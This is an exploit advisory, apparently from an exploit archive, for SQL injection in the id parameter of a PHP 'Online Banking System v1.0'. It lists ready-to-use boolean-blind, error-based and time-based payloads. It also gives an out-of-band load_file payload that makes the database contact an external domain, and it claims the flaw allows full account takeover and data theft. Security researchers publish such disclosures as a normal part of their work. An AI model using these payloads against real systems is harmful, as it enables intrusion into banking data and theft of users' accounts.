Online Banking System 1.0 SQL Injection

`## Title: Online Banking System v1.0 SQLi  
## Author: nu11secur1ty  
## Date: 03.27.2022  
## Vendor: https://www.sourcecodester.com/users/tips23  
## Software: https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Banking-System  
  
## Description:  
The id parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\nf6v7f8u0moiaudh9ebxwywdt4zxnqbhe55svgk.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html\\crc'))+'  
was submitted in the id parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take administrator account control and also of all  
accounts on this system, also the malicious user can download all  
information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
  
---  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=3' AND 4573=4573-- ZCvc&p=view_accouncement  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: id=3' AND (SELECT 9948 FROM(SELECT  
COUNT(*),CONCAT(0x7162707a71,(SELECT  
(ELT(9948=9948,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nCRY&p=view_accouncement  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=3' AND (SELECT 7546 FROM (SELECT(SLEEP(5)))WNiD)--  
MTfV&p=view_accouncement  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Banking-System)  
  
## Proof and Exploit:  
[href](https://streamable.com/3gw6aw)  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at  
https://packetstormsecurity.com/https://cve.mitre.org/index.html and  
https://www.exploit-db.com/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://packetstormsecurity.com/  
https://cve.mitre.org/index.html and https://www.exploit-db.com/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`